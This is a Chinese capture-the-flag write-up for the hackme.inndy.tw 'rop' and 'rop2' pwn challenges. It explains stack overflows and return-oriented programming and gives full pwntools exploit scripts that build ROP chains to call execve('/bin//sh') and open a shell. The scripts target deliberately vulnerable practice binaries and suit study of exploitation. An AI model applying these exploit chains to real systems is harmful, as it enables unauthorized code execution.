https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了rop和rop2这两个题目感觉还不错,我把wp分享出来,方便大家学习
首先先是rop这个题目,下载地址就在https://hackme.inndy.tw/scoreboard/,如果做题的网站关闭或者被墙,就可以从http://download.csdn.net/download/niexinming/10022831下载
rop的要求是:
nc hackme.inndy.tw 7704
Tips: Buffer Overflow, ROP
把rop直接拖入ida中
main函数:
overflow函数:
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护:
看到NX enabled是开启了栈不可执行,这时ROP就有应用空间了
这个程序很简单,就一个gets函数,所以栈溢出就好了
这个程序似乎是用的静态库,所以我用readelf -d rop来查看一下
果然是静态库,这时候推荐一个ppt讲的很好https://www.slideshare.net/hackstuff/rop-40525248,遇到这种题目推荐一个工具很不错:https://github.com/JonathanSalwan/ROPgadget/tree/master
首先这个题目只要输入20个a就可以覆盖函数返回值了
这个题目如果用工具的话也很简单,直接用ROPgadget --binary rop --ropchain 就可以生成好rop利用链了,一点都不用操心,真不错
然后我都exp就是:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
from struct import pack
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x08048892'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
shellcode="/home/flag"
# print disasm(shellcode)
elf = ELF('/home/h11p/hackme/rop')
#printf_addr = elf.symbols['printf']
#print "%x" % printf_addr
bss_addr = elf.bss()
print "%x" % bss_addr
offset = 16
#io = process('/home/h11p/hackme/rop')
io = remote('hackme.inndy.tw', 7704)
#bof=0x080488B7
#payload = 'A' * offset
###ROPgadget --binary ~/hackme/rop --ropchain
###https://www.slideshare.net/hackstuff/rop-40525248
# Padding goes here
p = 'A' * offset
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
#debug()
io.sendline(p)
io.interactive()
io.close()
看一下效果:
下面介绍rop2这个题目,这个题目很有趣
rop2下载地址就在https://hackme.inndy.tw/scoreboard/,如果做题的网站关闭或者被墙,就可以从http://download.csdn.net/download/niexinming/10022836下载
rop2的要求是:
nc hackme.inndy.tw 7703
ROPgadget not working anymore
把rop直接拖入ida中
main函数:
overflow函数:
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护:
看到NX enabled是开启了栈不可执行,这时ROP就有应用空间了
这个程序很有趣,输入和输出都是用的syscall这个函数,关于syscall函数参考:http://blog.chinaunix.net/uid-28458801-id-4630215.html和http://www.cnblogs.com/hazir/p/three_methods_of_syscall.html 这两个文章,syscall的第一个参数是系统调用的宏,后面的参数是系统调用所用的参数,这个宏具体可参考/usr/include/x86_64-linux-gnu/asm/unistd_32.h
可以看到输出是3,输出是4,执行系统命令是11,关于execve函数这篇文章讲的很不错http://blog.csdn.net/chichoxian/article/details/53486131,如果想用execve得到一个交互的shell的话,可以这样调用:execve("/bin//sh",NULL,NULL);
所以我就有一个想法,这里还是首先感谢M4x的点拨,M4x师傅真是太厉害了,首先,利用溢出后跳到main函数中这个syscall这个函数里面,并且传递参数(3,0,bss,8),意思就是在.bss里面写入payload,也就是/bin//sh,然后再利用overflow的溢出再次跳到main函数中这个syscall这个函数里面,此时传递的参数是(11,bss,null,null),就相当于执行了execve("/bin//sh",NULL,NULL); 这个函数一样,这样就可以得到shell了
下面是我的exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
import time
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x8048485'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
elf = ELF('/home/h11p/hackme/rop2')
bss_addr = elf.bss()
print "%x" % bss_addr
shellcode='/bin//sh'
#shellcode=p32(0x0804847C)
elf = ELF('/home/h11p/hackme/rop2')
offset = 16
io = process('/home/h11p/hackme/rop2')
#io = remote('hackme.inndy.tw', 7703)
payload = 'a'*4 +'b'*4+'c'*4
payload += p32(0x080484FF)
payload += p32(0x080484FF)
#payload += p32(0x0804B054)
payload += p32(0x3)
payload += p32(0x0)
payload += p32(bss_addr) #.bss
payload += p32(0x8)
payload2 = 'a'*4 +'b'*4+'c'*4
payload2 += p32(0x080484FF)
payload2 += p32(0x080484FF)
#payload += p32(0x0804B054)
payload2 += p32(0xb)
payload2 += p32(bss_addr) #.bss
payload2 += p32(0x0)
payload2 += p32(0x0)
debug()
io.recvuntil('Can you solve this?\nGive me your ropchain:')
io.sendline(payload)
io.readline()
io.send(shellcode)
io.recvline(timeout=3)
io.sendline(payload2)
io.interactive()
io.close()
我来调试一下,首先把断点放在0x8048485这个地方,也就是overflow结尾的地方
这里有个坑,就是溢出后执行到overflow后面的leave;ret;会有堆栈不平衡的现象,明明溢出的地方在输入16个a之后的四个字节的地方,而leave指令相当于(mov ebp esp;pop ebp),而多出的ebp在输入12个a之后的四个字节中,这样的如果你的payloa是"a"*16+syscall_addr,那么程序在执行完overflow这个函数之后gdb就会崩溃
为了演示这个坑,我把exp中的payload改成
payload = 'a'*16
#payload += p32(0x080484ff)
payload += p32(0x080484FF)
#payload += p32(0x0804B054)
payload += p32(0x3)
payload += p32(0x0)
payload += p32(bss_addr) #.bss
payload += p32(0x8)
所以在输入完12个a之后,再输入的四个字节应该是一个可读的地址空间,这个空间我选的是0x080484ff
所以paylaod就是:
payload2 = 'a'*4 +'b'*4+'c'*4
payload2 += p32(0x080484FF)
payload2 += p32(0x080484FF)
#payload += p32(0x0804B054)
payload2 += p32(0xb)
payload2 += p32(bss_addr) #.bss
payload2 += p32(0x0)
payload2 += p32(0x0)
解决完上面的坑之后继续往下走
溢出后跳入到main函数中的syscall(也就是080484FF)这个位置
这里看到传递的参数是(3,0,bss,8),程序向下又执行到了overflow这个函数中
此时再发出一个paylaod来溢出这个函数
payload2 = 'a'*4 +'b'*4+'c'*4
payload2 += p32(0x080484FF)
payload2 += p32(0x080484FF)
payload2 += p32(0xb)
payload2 += p32(bss_addr) #.bss
payload2 += p32(0x0)
payload2 += p32(0x0)
在gdb中输入c发现又断在了0x8048485这个地址
继续输入n向下执行,发现又跳到main函数中的syscall(也就是080484FF)这个位置
这里看到传递的参数是(11,bss,0,0),这里相当于执行execve("/bin//sh",NULL,NULL); 继续执行就成功了
来看一下效果
下面我放上M4x师傅写的exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
elf = ELF("./rop2")
syscall_addr = elf.symbols["syscall"]
bss_addr = elf.bss()
ppppr_addr = 0x08048578
payload = fit({0xC + 0x4: [p32(syscall_addr), p32(ppppr_addr), p32(3), p32(0), p32(bss_addr), p32(8)]})
payload += fit({0x0: [p32(syscall_addr), p32(0xdeadbeef), p32(11), p32(bss_addr), p32(0), p32(0)]})
io = process("./rop2")
io.sendlineafter("your ropchain:", payload)
io.send("/bin/sh\0")
io.interactive()
io.close()
经过调试发现,M4x师傅在溢出后就跳入到.got.plt表的中的syscall的地方,并且传入参数
调用完syscall之后,利用rop把传入syscall的参数弹出,使堆栈平衡
然后再调用syscall,并传入(11,bss,0,0)
getshell